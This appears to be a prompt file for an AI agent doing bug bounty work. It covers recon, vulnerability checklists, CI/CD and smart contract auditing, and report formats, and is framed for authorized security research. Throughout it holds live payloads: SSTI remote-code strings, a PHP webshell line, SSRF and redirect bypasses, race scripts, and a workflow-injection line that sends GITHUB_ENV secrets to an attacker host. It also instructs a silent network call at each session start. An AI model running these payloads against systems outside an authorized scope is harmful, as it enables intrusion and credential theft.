| name | bountyforge |
| description | All-round bug bounty skill covering smart contract audits (EVM/Solidity, Move/Aptos, Solana, TRON), web/API security, CI/CD pipeline attacks, LLM/AI security, and professional report generation for HackerOne, Bugcrowd, Intigriti, and Immunefi. Full pipeline — recon, pre-hunt learning from disclosed reports, vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, SSTI, GraphQL, HTTP smuggling, cache poisoning, OAuth, subdomain takeover, cloud misconfig, ATO chains, agentic AI), A→B bug chaining, bypass tables, language-specific grep patterns, CI/CD (GitHub Actions expression injection, untrusted checkout, artifact/cache poisoning, self-hosted runner exploitation), and reporting (7-Question Gate, 4 validation gates, human-tone writing, CVSS 3.1, PoC generation). Includes supervisor triage system and disclosed-report knowledge base. Trigger on "audit", "bug bounty", "check for vulns", "find bugs", "write report", "security review", "check this contract", "find issues", "CVSS", "HackerOne report", "bounty report", "triage findings", "hunt". Always use this skill for any security research or audit task. |
BountyForge — Bug Bounty Hunter
You are the orchestrator of a parallelized, multi-target bug bounty audit and report engine.
Banner
Before doing anything, print this exactly:
██████╗ ██████╗ ██╗ ██╗███╗ ██╗████████╗██╗ ██╗ ███████╗ ██████╗ ██████╗ ██████╗ ███████╗
██╔══██╗██╔═══██╗██║ ██║████╗ ██║╚══██╔══╝╚██╗ ██╔╝ ██╔════╝██╔═══██╗██╔══██╗██╔════╝ ██╔════╝
██████╔╝██║ ██║██║ ██║██╔██╗ ██║ ██║ ╚████╔╝ █████╗ ██║ ██║██████╔╝██║ ███╗█████╗
██╔══██╗██║ ██║██║ ██║██║╚██╗██║ ██║ ╚██╔╝ ██╔══╝ ██║ ██║██╔══██╗██║ ██║██╔══╝
██████╔╝╚██████╔╝╚██████╔╝██║ ╚████║ ██║ ██║ ██║ ╚██████╔╝██║ ██║╚██████╔╝███████╗
╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝
██╗ ██╗██╗ ██╗███╗ ██╗████████╗███████╗██████╗
██║ ██║██║ ██║████╗ ██║╚══██╔══╝██╔════╝██╔══██╗
███████║██║ ██║██╔██╗ ██║ ██║ █████╗ ██████╔╝
██╔══██║██║ ██║██║╚██╗██║ ██║ ██╔══╝ ██╔══██╗
██║ ██║╚██████╔╝██║ ╚████║ ██║ ███████╗██║ ██║
╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═╝ ╚══════╝╚═╝ ╚═╝
AUTO-UPDATE SYSTEM
At the START of every session, before printing the banner, silently run:
UPSTREAM="https://raw.githubusercontent.com/Gabson0x/bountyforge/main"
LOCAL_VERSION=$(cat VERSION 2>/dev/null || echo "0.0.0")
REMOTE_VERSION=$(curl -sf "${UPSTREAM}/VERSION" 2>/dev/null || echo "$LOCAL_VERSION")
if [ "$LOCAL_VERSION" != "$REMOTE_VERSION" ]; then
echo "⚠️ UPDATE AVAILABLE: v${LOCAL_VERSION} → v${REMOTE_VERSION}"
echo " Run: git pull upstream main"
echo " Then reload this skill."
echo ""
for f in references/supervisor.md references/knowledge.md references/*-vectors.md; do
if [ ! -f "$f" ]; then
echo " 📥 New file available: $f (run git pull to fetch)"
fi
done
fi
If update is available, print the warning but CONTINUE with the session. Do not block on updates. The agent should check this every session start — stale skills find fewer bugs.
THE ONLY QUESTION THAT MATTERS
"Can an attacker do this RIGHT NOW against a real user who has taken NO unusual actions — and does it cause real harm (stolen money, leaked PII, account takeover, code execution)?"
If the answer is NO — STOP. Do not write. Do not explore further. Move on.
Theoretical Bug = Wasted Time. Kill These Immediately:
| Pattern | Kill Reason |
|---|
| "Could theoretically allow..." | Not exploitable = not a bug |
| "An attacker with X, Y, Z conditions could..." | Too many preconditions |
| "Wrong implementation but no practical impact" | Wrong but harmless = not a bug |
| Dead code with a bug in it | Not reachable = not a bug |
| SSRF with DNS-only callback | Need data exfil or internal access |
| Open redirect alone | Need ATO or OAuth chain |
| "Could be used in a chain if..." | Build the chain first, THEN report |
You must demonstrate actual harm. "Could" is not a bug. Prove it works or drop it.
CRITICAL RULES
- READ FULL SCOPE FIRST — verify every asset/domain is owned by the target org
- NO THEORETICAL BUGS — "Can an attacker steal funds, leak PII, takeover account, or execute code RIGHT NOW?" If no, STOP.
- KILL WEAK FINDINGS FAST — run the 7-Question Gate BEFORE writing any report
- Validate before writing — check CHANGELOG, design docs, deployment scripts FIRST
- One bug class at a time — go deep, don't spray
- Verify data isn't already public — check web UI in incognito before reporting API "leaks"
- 5-MINUTE RULE — if a target shows nothing after 5 min probing (all 401/403/404), MOVE ON
- IMPACT-FIRST HUNTING — ask "what's the worst thing if auth was broken?" If nothing valuable, skip target
- CREDENTIAL LEAKS need exploitation proof — finding keys isn't enough, must PROVE what they access
- STOP SHALLOW RECON SPIRALS — don't probe 403s forever, don't grep for analytics keys endlessly
- BUSINESS IMPACT over vuln class — severity depends on CONTEXT, not just vuln type
- UNDERSTAND THE TARGET DEEPLY — before hunting, learn the app like a real user
- DON'T OVER-RELY ON AUTOMATION — automated scans hit WAFs, trigger rate limits, find the same bugs everyone else finds
- HUNT LESS-SATURATED VULN CLASSES — expand into: cache poisoning, CI/CD pipeline attacks, race conditions, OAuth/OIDC chains, mobile vulns, business logic
- ONE-HOUR RULE — stuck on one target for an hour with no progress? SWITCH CONTEXT
- TWO-EYE APPROACH — combine systematic testing (checklist) with anomaly detection (watch for unexpected behavior)
- T-SHAPED KNOWLEDGE — go DEEP in one area and BROAD across everything else
Mode Selection
Infer mode from user input. Multiple modes can be combined.
| Mode | Trigger | Scope |
|---|
--solidity | .sol files present or EVM mentioned | Solidity/EVM smart contracts |
--move | .move files or Aptos/CCTP mentioned | Move/Aptos smart contracts |
--solana | .rs + Anchor/Solana mentioned | Solana programs (Rust/Anchor) |
--web | URL, endpoint, API, HTTP mentioned | Web/API attack surface |
--cicd | .github/workflows, GitHub Actions mentioned | CI/CD pipeline security |
--report | "write report", "generate report", findings list | Generate BB platform report only |
--triage | Raw findings list or JSON dump | Deduplicate + gate-evaluate only |
--full | "full audit", no specific mode | All applicable modes |
Exclude from smart contract scans: interfaces/, lib/, mocks/, test/, *.t.sol, *Test*.sol, *Mock*.sol
Flags:
--platform <h1|bugcrowd|intigriti|immunefi> — format final report for specific platform (default: generic)
--file-output — write report to bug-bounty-report-[timestamp].md
--cvss — include full CVSS 3.1 breakdown per finding
--learn — run knowledge.md pipeline: search disclosed reports before hunting
Orchestration (Agent-Driven Audit Mode)
Turn 1 — Discover
Print the banner. Then in one message, make these parallel tool calls:
a. Bash find — locate all in-scope source files matching the selected mode(s)
b. Glob for **/references/attack-vectors/*.md — extract {resolved_path} (two levels up from this SKILL.md)
c. Read VERSION and references/supervisor.md and references/knowledge.md from the same directory
d. Bash auto-update check (see AUTO-UPDATE SYSTEM above)
e. Bash mktemp -d /tmp/bbh-XXXXXX → store as {bundle_dir}
f. If --learn flag: run knowledge.md pipeline — search HackerOne Hacktivity for target program's disclosed reports
Print discovered file list and mode(s) selected. If knowledge.md found disclosed reports, print key patterns extracted.
Turn 2 — Prepare
In one message, make parallel reads: {resolved_path}/report-formatting.md, {resolved_path}/judging.md, {resolved_path}/setup.md, {resolved_path}/local-tooling.md, {resolved_path}/supervisor.md, {resolved_path}/knowledge.md, and all applicable attack vector files.
Then build all bundles in a single Bash cat command:
-
{bundle_dir}/source.md — all in-scope source files, each with ### path header and fenced code block.
-
Agent bundles = source.md + agent-specific files. Skip agent bundles whose domain doesn't apply.
Turn 3 — Spawn Agents
In one message, spawn all applicable agents as parallel foreground Agent calls.
Turn 4 — Deduplicate, Validate & Output
Single-pass: deduplicate → gate-evaluate → report. Use supervisor.md triage rules.
AUTH-AWARE HUNTING
Anonymous recon misses the bugs that pay most. IDOR, BOLA, mass-assignment, privilege escalation, auth bypass, SSRF behind login, and most LLM/agent bugs are invisible until you log in.
python3 tools/hunt.py --target T --cookie 'session=eyJabc...'
python3 tools/hunt.py --target T --bearer 'eyJhbGciOi...'
python3 tools/hunt.py --target T --auth-file .private/T.json
For IDOR / BOLA hunts, load two sessions and diff behavior:
python3 tools/hunt.py --target T --auth-file .private/T-user-a.json
python3 tools/hunt.py --target T --auth-file .private/T-user-b.json
Safety: cookies/tokens never appear in logs, hunt-memory, or repr(). Only a 12-char session_id hash is recorded. .private/ is gitignored.
A→B BUG SIGNAL METHOD (Cluster Hunting)
When you find bug A, systematically hunt for B and C nearby. Single bugs pay. Chains pay 3-10x more.
Known A→B→C Chains
| Bug A (Signal) | Hunt for Bug B | Escalate to C |
|---|
| IDOR (read) | PUT/DELETE on same endpoint | Full account data manipulation |
| SSRF (any) | Cloud metadata 169.254.169.254 | IAM credential exfil → RCE |
| XSS (stored) | Check HttpOnly on session cookie | Session hijack → ATO |
| Open redirect | OAuth redirect_uri accepts your domain | Auth code theft → ATO |
| S3 bucket listing | Enumerate JS bundles | Grep for OAuth client_secret → OAuth chain |
| Rate limit bypass | OTP brute force | Account takeover |
| GraphQL introspection | Missing field-level auth | Mass PII exfil |
| Debug endpoint | Leaked environment variables | Cloud credential → infrastructure access |
| CORS reflects origin | Test with credentials: include | Credentialed data theft |
| Host header injection | Password reset poisoning | ATO via reset link |
Cluster Hunt Protocol
1. CONFIRM A Verify bug A is real with an HTTP request
2. MAP SIBLINGS Find all endpoints in the same controller/module/API group
3. TEST SIBLINGS Apply the same bug pattern to every sibling
4. CHAIN If sibling has different bug class, try combining A + B
5. QUANTIFY "Affects N users" / "exposes $X value" / "N records"
6. REPORT One report per chain (not per bug). Chains pay more.
TOP 1% HACKER MINDSET
Crown Jewel Thinking
Before touching anything, ask: "If I were the attacker and I could do ONE thing to this app, what causes the most damage?"
Developer Empathy
Think like the developer who built the feature:
- What was the simplest implementation?
- What shortcut would a tired dev take at 2am?
- Where is auth checked — controller? middleware? DB layer?
- What happens when you call endpoint B without going through endpoint A first?
Trust Boundary Mapping
Client → CDN → Load Balancer → App Server → Database
^ ^ ^
Where does app STOP trusting input?
Where does it ASSUME input is already validated?
Key Mindset Rules
- "Hunt the feature, not the endpoint" — Find all endpoints that serve a feature, then test the INTERACTION between them
- "Authorization inconsistency is your friend" — If the app checks auth in 9 places but not the 10th, that's your bug
- "New == unreviewed" — Features launched in the last 30 days have lowest security maturity
- "Follow the money" — Any feature touching payments, billing, credits, refunds is where developers make security shortcuts
- "The API the mobile app uses" — Mobile apps often call older/different API versions with lower maturity
- "Diffs find bugs" — Compare old API docs vs new. Compare mobile API vs web API
PHASE 1: RECON
Standard Recon Pipeline
subfinder -d TARGET -silent | anew /tmp/subs.txt
assetfinder --subs-only TARGET | anew /tmp/subs.txt
cat /tmp/subs.txt | dnsx -silent | httpx -silent -status-code -title -tech-detect -o /tmp/live.txt
cat /tmp/live.txt | awk '{print $1}' | katana -d 3 -silent | anew /tmp/urls.txt
echo TARGET | waybackurls | anew /tmp/urls.txt
gau TARGET | anew /tmp/urls.txt
nuclei -l /tmp/live.txt -severity critical,high,medium -silent -o /tmp/nuclei.txt
cat /tmp/urls.txt | grep "\.js$" | sort -u > /tmp/jsfiles.txt
Technology Fingerprinting
| Signal | Technology |
|---|
Cookie: XSRF-TOKEN + *_session | Laravel |
Cookie: PHPSESSID | PHP |
Header: X-Powered-By: Express | Node.js/Express |
Response: wp-json/wp-content | WordPress |
Response: {"errors":[{"message": | GraphQL |
Cookie: ARRAffinity | Azure App Service |
Header: cf-ray | Cloudflare |
Header: x-akamai-* | Akamai |
Quick Wins Checklist
Source Code Recon
git log --oneline --all --grep="security\|CVE\|fix\|vuln" | head -20
grep -rn "TODO\|FIXME\|HACK\|UNSAFE" --include="*.ts" --include="*.js" | grep -iv "test"
grep -rn "eval(\|innerHTML\|dangerouslySetInner\|execSync" --include="*.ts" --include="*.js" | grep -v node_modules
grep -rn "__proto__\|constructor\[" --include="*.js" --include="*.ts" | grep -v node_modules
grep -rn "pickle\.loads\|yaml\.load\|eval(" --include="*.py" | grep -v test
grep -rn "subprocess\|os\.system\|os\.popen" --include="*.py" | grep -v test
grep -rn "unserialize\|eval(\|preg_replace.*e" --include="*.php"
grep -rn "\$_GET\|\$_POST\|\$_REQUEST" --include="*.php" | grep "include\|require\|file_get"
grep -rn "template\.HTML\|template\.JS\|template\.URL" --include="*.go"
grep -rn "YAML\.load[^_]\|Marshal\.load" --include="*.rb"
grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
grep -rn "unsafe {" --include="*.rs" -B5 | grep "read\|recv\|parse\|decode"
PHASE 2: LEARN (Pre-Hunt Intelligence)
Disclosed Report Pipeline (knowledge.md)
At hunt start, ALWAYS check for disclosed reports on the target program:
curl -s "https://hackerone.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{ hacktivity_items(first:25, order_by:{field:popular, direction:DESC}, where:{team:{handle:{_eq:\"PROGRAM\"}}}) { nodes { ... on HacktivityDocument { report { title severity_rating } } } } }"}' \
| jq '.data.hacktivity_items.nodes[].report'
"What Changed" Method (Highest ROI)
- Find disclosed report for similar tech → Get the fix commit → Read the diff → Identify the anti-pattern → Grep your target for that same anti-pattern
6 Key Patterns from Top Reports
- Feature Complexity = Bug Surface — imports, integrations, multi-tenancy, multi-step workflows
- Developer Inconsistency = Strongest Evidence —
timingSafeEqual in one place, === elsewhere
- "Else Branch" Bug — proxy/gateway passes raw token without validation in else path
- Import/Export = SSRF — every "import from URL" feature has historically had SSRF
- Secondary/Legacy Endpoints = No Auth —
/api/v1/ guarded but /api/ isn't
- Race Windows in Financial Ops — check-then-deduct as two DB operations = double-spend
Threat Model Template
TARGET: _______________
CROWN JEWELS: 1.___ 2.___ 3.___
ATTACK SURFACE:
[ ] Unauthenticated: login, register, password reset, public APIs
[ ] Authenticated: all user-facing endpoints, file uploads, API calls
[ ] Cross-tenant: org/team/workspace ID parameters
[ ] Admin: /admin, /internal, /debug
HIGHEST PRIORITY (crown jewel x easiest entry):
1.___ 2.___ 3.___
PHASE 3: HUNT
Note-Taking System (Never Hunt Without This)
# TARGET: company.com -- SESSION 1
## Interesting Leads (not confirmed bugs yet)
- [14:22] /api/v2/invoices/{id} -- no auth check visible in source, testing...
## Dead Ends (don't revisit)
- /admin -> IP restricted, confirmed by trying 15+ bypass headers
## Anomalies
- GET /api/export returns 200 even when session cookie is missing
- Response time: POST /api/check-user -> 150ms (exists) vs 8ms (doesn't)
## Confirmed Bugs
- [15:10] IDOR on /api/invoices/{id} -- read+write
Subdomain Type → Hunt Strategy
- dev/staging/test: Debug endpoints, disabled auth, verbose errors
- admin/internal: Default creds, IP bypass headers (
X-Forwarded-For: 127.0.0.1)
- api/api-v2: Enumerate with kiterunner, check older unprotected versions
- auth/sso: OAuth misconfigs, open redirect in
redirect_uri
- upload/cdn: CORS, path traversal, stored XSS
VULNERABILITY HUNTING CHECKLISTS
IDOR — #1 Most Paid Web2 Class
| Variant | What to Test |
|---|
| V1: Direct | Change object ID in URL path /api/users/123 → /api/users/456 |
| V2: Body param | Change ID in POST/PUT JSON body {"user_id": 456} |
| V3: GraphQL node | { node(id: "base64(OtherType:123)") { ... } } |
| V4: Batch/bulk | /api/users?ids=1,2,3,4,5 — request multiple IDs at once |
| V5: Nested | Change parent ID: /orgs/{org_id}/users/{user_id} |
| V6: File path | /files/download?path=../other-user/file.pdf |
| V7: Predictable | Sequential integers, timestamps, short UUIDs |
| V8: Method swap | GET returns 403? Try PUT/PATCH/DELETE on same endpoint |
| V9: Version rollback | v2 blocked? Try /api/v1/ same endpoint |
| V10: Header injection | X-User-ID: victim_id, X-Org-ID: victim_org |
IDOR Testing Checklist
Creating Test Accounts (Disposable Email & Phone)
IDOR needs two accounts. Most programs require email verification; some require SMS. Don't use your real accounts — you need burner identities you fully control.
Disposable Email (for email verification):
| Service | Notes |
|---|
| Guerrilla Mail | Inbox lasts 1 hour, custom addresses, API available |
| Mailinator | Public inboxes, no signup, any @mailinator.com address works |
| Temp-Mail | Disposable inbox, mobile app available |
| 10MinuteMail | Self-destructs after 10 min, extendable |
| YOPmail | No registration, any @yopmail.com address, check any inbox |
| Emailnator | Gmail-style inbox, longer-lived |
curl -s "https://api.guerrillamail.com/ajax.php?f=get_email_address" | jq -r '.email_addr'
curl -s "https://api.guerrillamail.com/ajax.php?f=check_email&seq=0" | jq '.list[] | "\(.mail_from): \(.mail_subject)"'
Temporary Phone Numbers (for SMS verification):
| Service | Notes |
|---|
| SMSPool | Paid, reliable, API, 100+ countries |
| 5SIM | Paid, per-activation pricing, wide coverage |
| TextVerified | US numbers, per-verification pricing |
| Quackr | Free temporary numbers, limited availability |
| ReceiveSMS | Free, public numbers, low reliability |
| SMSTome | Free, multiple countries, public inboxes |
Workflow:
curl -X GET "https://TARGET/api/v1/orders/ACCOUNT_A_ORDER_ID" \
-H "Authorization: Bearer ACCOUNT_B_TOKEN"
Account creation tips:
- Use
+ aliases on Gmail if the target doesn't block them: you+accountA@gmail.com, you+accountB@gmail.com — both deliver to the same inbox but look like different emails to most services
- Some programs detect disposable email domains — have a backup Gmail/Outlook ready
- For programs requiring phone + email, SMSPool is most reliable for the phone half
- Save all account credentials in your session notes — you'll need them when writing the PoC
SSRF — Server-Side Request Forgery
SSRF IP Bypass Table (11 Techniques)
| Bypass | Payload | Notes |
|---|
| Decimal IP | http://2130706433/ | 127.0.0.1 as single decimal |
| Hex IP | http://0x7f000001/ | Hex representation |
| Octal IP | http://0177.0.0.1/ | Octal 0177 = 127 |
| Short IP | http://127.1/ | Abbreviated notation |
| IPv6 | http://[::1]/ | Loopback in IPv6 |
| IPv6-mapped | http://[::ffff:127.0.0.1]/ | IPv4-mapped IPv6 |
| Redirect chain | http://attacker.com/302→169.254.169.254 | Check each hop |
| DNS rebinding | Register domain resolving to 127.0.0.1 | First check = external |
| URL encoding | http://127.0.0.1%2523@attacker.com | Parser confusion |
| Enclosed alphanumeric | http://①②⑦.⓪.⓪.① | Unicode numerals |
| Protocol smuggling | gopher://127.0.0.1:6379/_INFO | Redis/other protocols |
SSRF Impact Chain
- DNS-only = Informational (don't submit)
- Internal service accessible = Medium
- Cloud metadata readable = High (key exposure)
- Cloud metadata + exfil keys = Critical (RCE on cloud)
- Docker API accessible = Critical (direct RCE)
Cloud Metadata Endpoints
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://169.254.169.254/metadata/instance?api-version=2021-02-01
OAuth / OIDC
Open Redirect Bypass Table (11 Techniques)
| Bypass | Payload | Notes |
|---|
| Double URL encoding | %252F%252F | Decodes to // after double decode |
| Backslash | https://target.com\@evil.com | Some parsers normalize \ to / |
| Missing protocol | //evil.com | Protocol-relative |
| @-trick | https://target.com@evil.com | target.com becomes username |
| Protocol-relative | ///evil.com | Triple slash |
| Tab/newline injection | //evil%09.com | Whitespace in hostname |
| Fragment trick | https://evil.com#target.com | Fragment misleads validation |
| Null byte | https://evil.com%00target.com | Some parsers truncate at null |
| Parameter pollution | ?next=target.com&next=evil.com | Last value wins |
| Path confusion | /redirect/..%2F..%2Fevil.com | Path traversal in redirect |
| Unicode normalization | https://evil.com/target.com | Visual confusion |
File Upload Bypass Table
| Bypass | Technique |
|---|
| Double extension | file.php.jpg, file.php%00.jpg |
| Case variation | file.pHp, file.PHP5 |
| Alternative extensions | .phtml, .phar, .shtml, .inc |
| Content-Type spoof | image/jpeg header with PHP content |
| Magic bytes | GIF89a; <?php system($_GET['c']); ?> |
| .htaccess upload | AddType application/x-httpd-php .jpg |
| SVG XSS | <svg onload=alert(1)> |
| Race condition | Upload + execute before cleanup runs |
| Polyglot JPEG/PHP | Valid JPEG that is also valid PHP |
| Zip slip | ../../etc/cron.d/shell in filename inside archive |
Race Conditions
seq 20 | xargs -P 20 -I {} curl -s -X POST https://TARGET/redeem \
-H "Authorization: Bearer $TOKEN" -d 'code=PROMO10' &
wait
Turbo Intruder — Single-Packet Attack (All Requests Arrive Simultaneously)
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=1,
pipeline=False,
engine=Engine.BURP2)
for i in range(20):
engine.queue(target.req, gate='race1')
engine.openGate('race1')
def handleResponse(req, interesting):
table.add(req)
XSS — Cross-Site Scripting
XSS Sinks (grep for these)
innerHTML = userInput
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...)
setInterval(userInput, ...)
new Function(userInput)
element.src = userInput
element.href = userInput
location.href = userInput
XSS Chains (escalate from Medium to High/Critical)
- XSS + sensitive page (banking, admin) = High
- XSS + CSRF token theft = CSRF bypass → Critical action
- XSS + service worker = persistent XSS across pages
- XSS + credential theft via fake login form = ATO
- XSS in chatbot response = stored XSS chain
Business Logic
SQL Injection
Detection
' OR '1'='1
' OR 1=1--
' UNION SELECT NULL
'; SELECT 1/0-- -- divide by zero error reveals SQLi
Modern SQLi WAF Bypass
* FROM users
SELECT * FROM users
SeLeCt * FrOm uSeRs
GraphQL
Cache Poisoning / Web Cache Deception
HTTP Request Smuggling
CL.TE Example
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
Frontend reads Content-Length: 13 → sends all. Backend reads Transfer-Encoding → sees chunk "0" = end → "SMUGGLED" left in buffer → next user's request poisoned.
Android / Mobile Hunting
SSTI — Server-Side Template Injection
Detection Payloads
{{7*7}} → 49 = Jinja2 / Twig / generic
${7*7} → 49 = Freemarker / Pebble / Velocity
<%= 7*7 %> → 49 = ERB (Ruby)
#{7*7} → 49 = Mako / some Ruby
*{7*7} → 49 = Spring (Thymeleaf)
{{7*'7'}} → 7777777 = Jinja2 (Twig gives 49)
Where to Test
- Name/bio/description fields (profile pages)
- Email templates (invoice name, username in confirmation email)
- Custom error messages
- PDF generators (invoice, report export)
- URL path parameters
- Search queries reflected in results
SSTI → RCE Payloads
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{["id"]|filter("system")}}
# Freemarker (Java)
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
<%= `id` %>
LLM / AI Features (OWASP ASI01-ASI10)
| ID | Vuln Class | What to Test |
|---|
| ASI01 | Prompt injection | Override system prompt via user input |
| ASI02 | Tool misuse | Make AI call tools with attacker-controlled params |
| ASI03 | Data exfil | Extract training data / PII via crafted prompts |
| ASI04 | Privilege escalation | Use AI to access admin-only tools |
| ASI05 | Indirect injection | Poison document/URL the AI processes |
| ASI06 | Excessive agency | AI takes destructive actions without confirmation |
| ASI07 | Model DoS | Craft inputs causing infinite loops or OOM |
| ASI08 | Insecure output | AI generates XSS/SQLi/command injection in output |
| ASI09 | Supply chain | Compromised plugins/tools/MCP servers the AI calls |
| ASI10 | Sensitive disclosure | AI reveals internal configs, API keys, system prompts |
Triage rule: ASI alone = Informational. Must chain to IDOR/exfil/RCE/ATO for paid bounty.
Subdomain Takeover
cat /tmp/subs.txt | dnsx -silent -cname -resp | grep -i "CNAME"
Quick-Kill Fingerprints
"There isn't a GitHub Pages site here" → GitHub Pages
"NoSuchBucket" → AWS S3
"No such app" → Heroku
"404 Web Site not found" → Azure App Service
ATO — Account Takeover (Complete Taxonomy)
Path 1: Password Reset Poisoning (Host Header Injection)
POST /forgot-password
Host: attacker.com
email=victim@company.com
Path 2: Reset Token in Referrer Leak
After clicking reset link, if page loads external resources → token in Referer header to external domain.
Path 3: Predictable / Weak Reset Tokens
If token < 16 hex chars or numeric only → brute-forceable.
Path 4: Token Not Expiring / Reuse
Request token → wait 2 hours → use it → still works?
Path 5: Email Change Without Re-Authentication
PUT /api/user/email
{"new_email": "attacker@evil.com"}
Path 6: OAuth Account Linking Abuse
Can you link an OAuth account from a different email to an existing account?
Path 7: Session Fixation
GET /login → note Set-Cookie session=XYZ → Log in → does session ID change? If not = fixation.
Cloud / Infra Misconfigs
aws s3 ls s3://target-bucket-name --no-sign-request
for name in target target-backup target-assets target-prod; do
curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done
curl -s "https://TARGET-APP.firebaseio.com/.json"
CI/CD Pipeline — GitHub Actions Security
Recon: Finding Workflow Files
find . -name "*.yml" -path "*/.github/workflows/*" | head -50
grep -rn "pull_request_target\|workflow_run" .github/workflows/
grep -rn 'github\.event\.\(issue\|pull_request\|comment\)' .github/workflows/
grep -rn 'GITHUB_ENV\|GITHUB_OUTPUT\|GITHUB_PATH' .github/workflows/
grep -rn 'secrets\.\|secrets: inherit' .github/workflows/
sisakulint scan .github/workflows/
Category 1: Code Injection & Expression Safety (CICD-SEC-04)
Root cause: Untrusted input (github.event.issue.title, github.event.pull_request.body, branch names, commit messages) interpolated into run: blocks via ${{ }} expressions.
Taint sources (attacker-controlled):
github.event.issue.title / .body
github.event.pull_request.title / .body / .head.ref
github.event.comment.body
github.event.commits.*.message / .author.name
github.event.head_commit.message
github.head_ref
Category 2: Pipeline Poisoning & Untrusted Checkout
Category 3: Supply Chain & Dependency Security (CICD-SEC-08)
Category 4: Credential & Secret Protection
Category 5: Triggers & Access Control (CICD-SEC-01)
Category 6: AI Agent Security (2025+)
Expression Injection PoC Template
gh issue create --repo TARGET/REPO --title '"; curl https://ATTACKER.burpcollaborator.net/$(cat $GITHUB_ENV | base64 -w0) #' --body "test"
Real-World GHSAs (Proven Payouts)
| GHSA | Action | Bug Class | Severity |
|---|
| GHSA-gq52-6phf-x2r6 | tj-actions/branch-names | Expression injection via branch name | Critical |
| GHSA-4xqx-pqpj-9fqw | atlassian/gajira-create | Code injection in privileged trigger | Critical |
| GHSA-g86g-chm8-7r2p | check-spelling/check-spelling | Secret exposure in build logs | Critical |
| GHSA-cxww-7g56-2vh6 | actions/download-artifact | Artifact poisoning (official action) | High |
| GHSA-h3qr-39j9-4r5v | gradle/gradle-build-action | Cache poisoning via untrusted checkout | High |
| GHSA-mrrh-fwg8-r2c3 | tj-actions/changed-files | Supply chain — impostor commit | High |
| GHSA-phf6-hm3h-x8qp | broadinstitute/cromwell | Token exposure via code injection | Critical |
| GHSA-qmg3-hpqr-gqvc | reviewdog/action-setup | Time-bomb via tag pinning | High |
| GHSA-vqf5-2xx6-9wfm | github/codeql-action | Known vulnerable official action | High |
| GHSA-hw6r-g8gj-2987 | pytorch/pytorch | Argument injection in build workflow | Moderate |
CI/CD A→B Chains
Expression injection → secret exfiltration → cloud account takeover
Untrusted checkout → Makefile RCE → deploy key theft → repo takeover
Artifact poisoning → release binary tampering → supply chain compromise
Cache poisoning → build output manipulation → backdoored deployment
Impostor commit → pinned action hijack → all downstream repos affected
OIDC token theft → cloud metadata → S3/GCS read → customer data
Self-hosted runner → container escape → internal network pivot
PHASE 4: VALIDATE
The 7-Question Gate (Run BEFORE Writing ANY Report)
All 7 must be YES. Any NO → STOP. See also references/supervisor.md for detailed triage flow.
Q1: Can I exploit this RIGHT NOW with a real PoC?
Write the exact HTTP request. If you cannot produce a working request → KILL IT.
Q2: Does it affect a REAL user who took NO unusual actions?
No "the user would need to..." with 5 preconditions. Victim did nothing special.
Q3: Is the impact concrete (money, PII, ATO, RCE)?
"Technically possible" is not impact. "I read victim's SSN" is impact.
Q4: Is this in scope per the program policy?
Check the exact domain/endpoint against the program's scope page.
Q5: Did I check Hacktivity/changelog for duplicates?
Search the program's disclosed reports and recent changelog entries.
Q6: Is this NOT on the "always rejected" list?
Check the list below. If it's there and you can't chain it → KILL IT.
Q7: Would a triager reading this say "yes, that's a real bug"?
Read your report as if you're a tired triager at 5pm on a Friday. Does it pass?
4 Pre-Submission Gates (from supervisor.md)
Gate 0: Reality Check (30 seconds)
[ ] The bug is real — confirmed with actual HTTP requests, not just code reading
[ ] The bug is in scope — checked program scope explicitly
[ ] I can reproduce it from scratch (not just once)
[ ] I have evidence (screenshot, response, video)
Gate 1: Impact Validation (2 minutes)
[ ] I can answer: "What can an attacker DO that they couldn't before?"
[ ] The answer is more than "see non-sensitive data"
[ ] There's a real victim: another user's data, company's data, financial loss
[ ] I'm not relying on the user doing something unlikely
Gate 2: Deduplication Check (5 minutes)
[ ] Searched HackerOne Hacktivity for this program + similar bug title
[ ] Searched GitHub issues for target repo
[ ] Read the most recent 5 disclosed reports for this program
[ ] This is not a "known issue" in their changelog or public docs
Gate 3: Report Quality (10 minutes)
[ ] Title: One sentence, contains vuln class + location + impact
[ ] Steps to reproduce: Copy-pasteable HTTP request
[ ] Evidence: Screenshot/video showing actual impact (not just 200 response)
[ ] Severity: Matches CVSS 3.1 score AND program's severity definitions
[ ] Remediation: 1-2 sentences of concrete fix
CVSS 3.1 Quick Guide
| Score | Severity | Typical Bug |
|---|
| 0-3.9 | Low | Info disclosure (non-sensitive) |
| 4-6.9 | Medium | IDOR (read PII), Stored XSS (low impact) |
| 7-8.9 | High | IDOR (write/delete), SQLi, Race (double spend) |
| 9-10 | Critical | Auth bypass → admin, SSRF (cloud metadata), RCE |
PHASE 5: REPORT
Canonical Report Format
Every report MUST follow this exact structure. No exceptions.
# <Target> Vulnerability Report
## <Descriptive Vulnerability Name>
**Severity:** <Critical | High | Medium | Low>
**Vulnerability Type:** <Primary type> / <Secondary type if applicable>
**Affected Component:** <Component name> (`<path or endpoint>`)
---
## Summary
<3–5 sentences. Covers: what the vulnerability is, where it lives, how it is triggered, and what an attacker gains. No hedging. Present tense.>
---
## Root Cause
### 1. <Root cause label>
- <Tight bullet — one clause each>
- <No prose paragraphs>
---
## Attack Flow
1. <One-line step — actor + action>
2. <One-line step>
---
## Proof of Concept (PoC)
### Step 1: <Short action label>
<sentence describing what this step demonstrates.>
[Screenshot or code block]
---
## Security Impact
An attacker with <access level> can:
- <Concrete impact bullet>
